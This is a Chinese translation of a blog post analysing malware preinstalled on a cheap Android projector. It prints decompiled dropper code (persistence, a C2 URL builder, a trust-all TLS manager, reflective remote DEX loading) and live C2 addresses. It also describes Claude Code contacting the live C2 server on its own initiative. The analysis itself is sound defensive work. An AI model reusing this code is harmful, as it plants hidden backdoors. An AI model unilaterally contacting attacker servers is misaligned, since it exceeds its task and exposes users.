使用Claude Code对Android恶意软件进行逆向工程
摘要
本文详细介绍了作者如何使用Claude Code对预装在廉价Android投影仪上的恶意软件进行逆向工程,识别并禁用了可疑的软件包。
<p><a href="https://lobste.rs/s/b5hrqb/reverse_engineering_android_malware">评论</a></p>
查看缓存全文
缓存时间: 2026/05/18 02:25
# 使用 Claude Code 逆向工程安卓恶意软件
来源:https://zanestjohn.com/blog/reing-with-claude-code
我从 AliExpress 花 35 美元买了一个投影仪,对准卧室墙壁。连上 Wi-Fi 没几分钟,我的 Pi-hole 就亮起了警报。`o.fecebbbk.xyz`?`impression.appsflyer.com`?我还没打开浏览器、安装任何应用,甚至连主界面都没划过去。这个投影仪自己在偷偷联网。紧接着:`usmyip.kkoip.com`。我当时还不知道那是什么。但我很快就会知道。
---
像 Magcubic HY300 Pro+ (https://www.aliexpress.us/item/3256809335880112.html) 这样的廉价投影仪已经席卷了 TikTok (https://www.tiktok.com/tag/projector)、Amazon (https://www.amazon.com/s?k=projector)、Temu (https://www.temu.com/search_result.html?search_key=projector) 和 AliExpress。Reddit 上的投影仪社区对它们评价不高 (https://www.reddit.com/r/projectors/comments/1olnlnk/how_do_i_fix_my_magcubic_projector/),抱怨从画质差到彻底无法开机 (https://www.reddit.com/r/projectors/comments/1jvn2tk/hy_300_dont_turn_on/) 的都有。我花大约 35 美元买了这台,标榜 8000 流明(值得怀疑)、自动梯形校正和“4K 支持”。我预感它会跟那些电视盒子一样 (https://www.pcmag.com/news/fbi-cheap-android-media-streaming-device-hosting-badbox-malware),附带些不干净的恶意软件——这本身就是乐趣的一部分。
开机后,体验比预期的要专业。Android 11 (API 30),生产版本(不是测试签名!),并且没有预 root。但这个精美的启动器无法完全掩盖底层的可疑之处——我的 Pi-hole 已经说得很清楚了。
https://zanestjohn.com/blog/reing-with-claude-code#getting-started
## 开始
拿着 `adb` 和 jadx (https://github.com/skylot/jadx),我开始检查预装的应用。第一个红旗:设备明明不是 HTC 制造的,却有一堆 `com.htc.` 包。它是由一家叫 Hotack 的公司生产的(以 Magcubic 等品牌销售)。一个拙劣的伪装。
在伪造的 `com.htc.` 命名空间和可疑的 DNS 流量之间,我强烈感觉这些包就是罪魁祸首。要禁用它们,我首先需要 root 权限;这些是系统级应用,没有 root 动不了。按照 XDA 论坛上的这个教程 (https://xdaforums.com/t/beta-android-tv-and-root-tutorial-for-allwinner-h713-based-projectors.4744020/) root 了设备,然后禁用了所有看起来可疑的包:
```
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
adb shell pm disable-user --user 0 com.htc.storeos
```
禁用了五个包。可疑的 DNS 查询停止了。这证实了它们就是罪魁祸首,但我想确切知道它们到底在做什么。于是我把 APK 拉了下来:
```
adb pull $(adb shell pm path com.hotack.silentsdk | cut -d: -f2) silentsdk.apk
adb pull $(adb shell pm path com.htc.eventuploadservice | cut -d: -f2) eventuploadservice.apk
adb pull $(adb shell pm path com.htc.expandsdk | cut -d: -f2) expandsdk.apk
adb pull $(adb shell pm path com.htc.htcotaupdate | cut -d: -f2) htcotaupdate.apk
adb pull $(adb shell pm path com.htc.storeos | cut -d: -f2) storeos.apk
```
我在 jadx 中打开 `com.hotack.silentsdk`。ProGuard/R8 混淆将类名缩减为单个字母——`a.java`、`b.java`、`f.java`——并带有加密字符串和故意搞乱的执行流程。手工追踪代码一段时间后,我可以看到大致轮廓:一个开机启动的服务,联系远程服务器,然后下载东西。但是手动解密混淆字符串、追踪反射调用链、映射 C2 协议……这要花好几天。我可不想一个人硬干。
https://zanestjohn.com/blog/reing-with-claude-code#letting-claude-code-drive
## 让 Claude Code 来驱动
我之前用过 Claude Code (https://docs.anthropic.com/en/docs/agents-and-tools/claude-code/overview),效果好坏参半(但总体积极),用于软件工程工作。我怀疑它不仅能加速逆向工程中枯燥的部分。我用 jadx 反编译了 APK,把源代码导出到目录里,然后给它了一个提示:
```
# Android 投影仪恶意软件调查
你正在调查一台疑似预装恶意软件的 Android 投影仪。你通过 ADB 拥有 root 权限。
**在进行重大分析步骤之前请仔细思考。维护一个待办事项列表以跟踪进度。**
## 任务
发现可疑包,对它们进行逆向工程,识别 C2 基础设施,并将一切记录为入侵指标 (IoC)。
## 工具
ADB(root 可用 - 在 `adb shell` 中使用 `su` 获取 root)、JADX(反编译器)、Python(脚本)和标准 CLI 工具。
## 提示
- 我标记的已禁用包很可能是可疑 DNS 流量的来源
- 预期会遇到混淆和加密字符串
## 交付物
完成后编写全面的报告(FINDINGS.md + 技术深度分析)。
## 成功标准
完全记录恶意软件的能力、基础设施和攻击链。
```
然后我就让它运行了。它的第一步是找到并解码遍布在 `com.hotack.silentsdk` 中的 XOR 加密字符串。敏感字符串(URL、算法名称、文件路径等)被存储为加密的字节数组,并在运行时使用循环 XOR 密码解码:
```java
// a/a.java:834 - XOR 字符串解密
public static String g(byte[] bArr, byte[] bArr2) {
int length = bArr.length;
int length2 = bArr2.length;
int i3 = 0;
int i4 = 0;
while (i3 < length) {
if (i4 >= length2) {
i4 = 0; // 旋转密钥
}
bArr[i3] = (byte) (bArr[i3] ^ bArr2[i4]);
i3++;
i4++;
}
return new String(bArr);
}
```
教科书式的混淆;它击败了静态字符串分析,但一旦你看清模式,就很容易反解。我本以为 Claude Code 会标记这个并问我该怎么做。没想到,它主动写了一个 Python 脚本,遍历整个反编译的代码库,自动解密每一次对这个函数的调用:
```python
def xor_decode(data_bytes, key_bytes):
"""复现恶意软件的循环 XOR 密码。"""
result = []
key_idx = 0
for i in range(len(data_bytes)):
if key_idx >= len(key_bytes):
key_idx = 0
# 处理 Java 的有符号字节
d = data_bytes[i] & 0xFF
k = key_bytes[i % len(key_bytes)] & 0xFF
result.append(d ^ k)
key_idx += 1
return bytes(result).decode('utf-8', errors='replace')
```
几秒钟内,整个代码库就暴露无遗了:
| 加密调用 | 解密后的值 | 用途 |
|---|---|---|
| `g({-99,127,58,...}, {-4,15,83,...})` | `api.pixelpioneerss.com` | C2 域名 |
| `g({125,61,58,...}, {21,73,78,...})` | `https://` | 协议前缀 |
| `g({35,-3,-58,-76}, {69,-52,-10,...})` | `f101` | 活动标识符 |
| `g({-78,124,-112,...}, {-26,49,-62,...})` | `TMRXwWJu3G5` | 有效载荷数据目录 |
| `g({-101,-100,115,...}, {-45,-16,4,...})` | `HlwET4RJQV` | SharedPreferences 文件名 |
| `g({-83,-92,-19,...}, {-50,-52,-128,...})` | `chmod 777` | Shell 命令 |
`api.pixelpioneerss.com`。我们的 C2 服务器。对下载的文件执行 `chmod 777`。这可不是什么分析 SDK。我手工要花几个小时的事情,几分钟就完成了。而这仅仅是开始——Claude Code 已经在继续分析下一个 APK,根本没有等我。
https://zanestjohn.com/blog/reing-with-claude-code#the-malware-ecosystem
## 恶意软件生态
通过分析每个反编译的 APK,Claude Code 绘制出了一套协调的供应商恶意软件:
| 包名 | 角色 | C2 基础设施 |
|---|---|---|
| `com.hotack.silentsdk` | 远程访问木马 / Dropper | `api.pixelpioneerss.com` |
| `com.htc.eventuploadservice` | 设备遥测数据外泄 | `event-api.aodintech.com` |
| `com.htc.expandsdk` | 广告注入 & 恶意软件持久化 | `pb-api.aodintech.com` |
| `com.htc.htcotaupdate` | OTA 更新(注意,通过 HTTP) | `ota.triplesai.com` |
| `com.htc.storeos` | 静默应用安装器(不完全恶意) | `store-api.aodintech.com` |
`aodintech.com` 基础设施显然是一个商业广告/追踪网络。`triplesai.com` 上的 OTA 服务器通过未加密的 HTTP 传输更新,并有一个纯 IP 回退(`139.199.190.220`,腾讯云)。没有证书锁定,没有签名验证。对更新过程进行中间人攻击将非常容易。
但皇冠上的明珠是 `com.hotack.silentsdk`。这远远超出了普通广告软件的范围:它是一个功能齐全的远程访问木马。
https://zanestjohn.com/blog/reing-with-claude-code#dissecting-the-rat
## 剖析 RAT
我专门让 Claude Code 分析 SilentSDK:
```
请发送一个探索代理仔细检查反编译的 silentsdk 代码库。代理完成后,利用它告诉你的信息深入挖掘 silentsdk 的操作和行为。最后,编写一份 SILENTSDK.md,详细说明其目的和运作方式(协议、混淆、API 调用中的安全性模糊等)。
```
它返回了完整的图景。SilentSDK 的 Android 清单在查看代码之前就告诉了我们很多:
```xml
android:sharedUserId="android.uid.system"
android:foregroundServiceType="systemExempted"
android:usesCleartextTraffic="true"
```
`android.uid.system` 意味着这个应用以系统级权限运行,与核心 Android 服务相同。这只有在 APK 使用制造商的平台证书签名时才有效。它不是悄悄溜进设备的;它是从一开始就被内置进去的。
https://zanestjohn.com/blog/reing-with-claude-code#boot-persistence
### 启动持久化
恶意软件注册了一个优先级为 999(接近最高)的启动接收器,确保它几乎在所有其他应用之前启动:
```java
// BootReceiver.java
public final void onReceive(Context context, Intent intent) {
if (Build.VERSION.SDK_INT >= 26) {
context.startForegroundService(new Intent(context, MyService.class));
} else {
context.startService(new Intent(context, MyService.class));
}
}
```
`MyService` 作为一个 `systemExempted` 前台服务运行——免于 Android 的后台限制,基本上无法被杀死。它返回 `START_STICKY`,所以如果它被停止,Android 会自动重启它。一旦运行,它会注册一个 `NetworkCallback`,在网络连接可用时立即触发 C2 通信。
https://zanestjohn.com/blog/reing-with-claude-code#c2-protocol
### C2 协议
Claude Code 追踪了 `b/n.java` 和 `b/a.java` 中的混淆代码,并逆向工程了整个 C2 协议。当恶意软件回传时,它会生成一个带有随机路径的混淆 URL:
```java
// b/n.java:39 - 带有随机子域名路径的 URL 构建
public static String b(String str) {
Random random = new Random();
int length = random.nextInt(5) + 8; // 8-12 字符随机路径
char[] chars = new char[length];
int letterPos = random.nextInt(length);
chars[letterPos] = new char[]{'a', 'A', 'b', 'B'}[random.nextInt(4)];
for (int i = 0; i < length; i++) {
if (i != letterPos) {
chars[i] = "0123456789abcdefghijklmnopqrstuvwxyz".charAt(
random.nextInt(36));
}
}
return "https://api.pixelpioneerss.com/" + new String(chars);
}
```
每次请求都指向一个唯一的 URL,比如 `https://api.pixelpioneerss.com/aB3k9mP2s`,使得仅通过路径来识别流量变得更加困难。请求负载是一个 JSON 对象,包含设备指纹(UUID 的 SHA-256 哈希、设备品牌、型号、IMEI、Android ID 和时间戳),加上包名、活动密钥(`f101`)和 SDK 版本。这使用随机密钥和 IV 通过 AES-128-CBC 加密,然后打包成二进制消息:
```
请求格式:
┌────────────┬────────────────┬──────────┬──────────┐
│ Version(4) │ Ciphertext(N) │ IV(16) │ Key(16) │
└────────────┴────────────────┴──────────┴──────────┘
int32 BE AES-CBC data Random Random
(1003) 128-bit 128-bit
```
是的,加密密钥以明文形式附加在密文之后。这种“加密”不是为了安全;而是为了混淆。它可以击败随意的网络检查和基本的 IDS 模式匹配,但无法抵抗真正的分析。自定义 HTTP 头 `a: 1003` 是另一个指纹。并且恶意软件设置了一个自定义的 `TrustManager`,接受*任何* SSL 证书:
```java
TrustManager[] trustManagerArr = {new j()}; // 接受所有证书
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
```
如果 HTTPS 完全失败,它会回退到纯 HTTP。安全显然不是优先考虑的事情。
https://zanestjohn.com/blog/reing-with-claude-code#talking-to-the-c2
### 与 C2 通信
这时事情对我来说变得 surreal 了。在映射完整个协议后,Claude Code——主动地——决定下一步是*真正与 C2 通信*。它从零开始写了一个 Python 客户端:
```python
class MalwareC2Client:
C2_DOMAIN = "api.pixelpioneerss.com"
VERSION = 1003
def _encrypt_message(self, plaintext):
"""AES-128-CBC 加密并打包协议。"""
key = get_random_bytes(16)
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
# 打包:[version][ciphertext][iv][key]
version_bytes = struct.pack('>I', self.VERSION)
return version_bytes + ciphertext + iv + key
def _decrypt_response(self, message):
"""解密 C2 响应。注意:格式与请求不同!"""
# 响应没有版本字段
key = message[-16:]
iv = message[-32:-16]
ciphertext = message[:-32]
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
```
它通过试错发现了一个细微之处:响应格式*不同于*请求格式。请求包含一个 4 字节的版本字段;响应没有。这是通过运行客户端、遇到错误、重新读取反编译的解密方法(`b/a.java:a()`),然后修复实现才弄清楚的。实时观察这个过程相当有趣。
C2 有响应。它是在线的:
```json
{
"code": "0000",
"data": {
"a": "https://sta.smartinnovate.net/sdkfile/uploadfile/53e49c7bf3e93b57f8cbfc7fb9a65126.jar",
"b": "53e49c7bf3e93b57f8cbfc7fb9a65126",
"c": 6037,
"d": 3600000,
"e": "128.12.122.35",
"f": "United States of America/California/Stanford",
"g": false
}
}
```
我盯着字段 `f` 看了好一会儿。“United States of America/California/Stanford”。字段 `e` 是我的 IP 地址,字段 `f` 是我的地理位置信息。C2 是活的,清楚地知道我在哪里,并且正在提供下一阶段的有效载荷(字段 `a`),附带了 MD5 哈希(字段 `b`)和一小时的 TTL(字段 `d`:3,600,000 毫秒)。
https://zanestjohn.com/blog/reing-with-claude-code#dynamic-code-loading
### 动态代码加载
这就是 SilentSDK 从“可疑的追踪 SDK”跨越到“完整的远程访问木马”的地方。恶意软件下载一个包含 DEX(Dalvik Executable)的 JAR,验证其 MD5 哈希,并通过 `DexClassLoader` 动态加载它,使用反射来避免静态检测:
```java
// b/k.java - 通过反射加载 DEX
public final Class b(Context context, int version, String dexPath, Object classLoader) {
Class dexLoaderClass = Class.forName(
"dalvik" + "." + "system" + "." + "Dex" + "Class" + "Loader"
);
Constructor constructor = dexLoaderClass.getConstructors()[0];
Object loader = constructor.newInstance(dexPath, cacheDir, null, classLoader);
Method loadClass = dexLoaderClass.getDeclaredMethod("loadClass", String.class);
loadClass.setAccessible(true);
return (Class) loadClass.invoke(loader, "com" + "." + "sdk" + "." + "Entry" + "Point" );
}
```
甚至连 `"dalvik.system.DexClassLoader"` 也是通过片段拼接而成,以躲避标记此类名的工具。加载的类通过带有 `(Context, Bundle)` 签名的反射来调用,这意味着 C2 可以传递*任何*它想要的代码,并以系统权限执行。
相似文章
来自谷歌的新型安卓恶意软件
F-Droid认为,谷歌的Android开发者验证程序(ADV)要求开发者注册并付费才能分发应用,这实际上就是一种恶意软件,会阻止未经批准的软件,影响数十亿设备。
@0x0SojalSec: 用 AI 逆向工程任意 Android APK——Apktool + 任意 LLM 或本地 Ollama,实现实时反编译、Smali 分析、...
一款将 AI(任意 LLM 或本地 Ollama)与 Apktool 集成在一起的工具,可通过自然语言实现 Android APK 的实时反编译、Smali 分析、清单审查、漏洞挖掘和即时修补。
@IntCyberDigest: 突发:Anthropic 已在 Claude Code 中嵌入类似间谍软件的隐藏代码,暗中针对中国用户。然后它……
本文称,Anthropic 在 Claude Code 中嵌入了类似间谍软件的隐藏代码,通过将路由元数据注入提示来暗中针对中国用户,引发了严重的隐私担忧。
@MSFTResearch:Project Ire 分析了最新发现的恶意软件样本,并通过逆向工程确定其意图——识别出 LOTUSLIT……
微软的 Project Ire 是一个自主恶意软件分类代理,它通过行为逆向工程成功识别出一个规避了主流 EDR 工具的 LOTUSLITE 变体,且无需依赖 IOC 签名。
深入探索Widevine L3
这篇博客文章详细介绍了使用Qiling仿真框架、差分故障分析和代码反混淆来破解Widevine L3 DRM的技术,并解释了如何从Android库中提取设备密钥。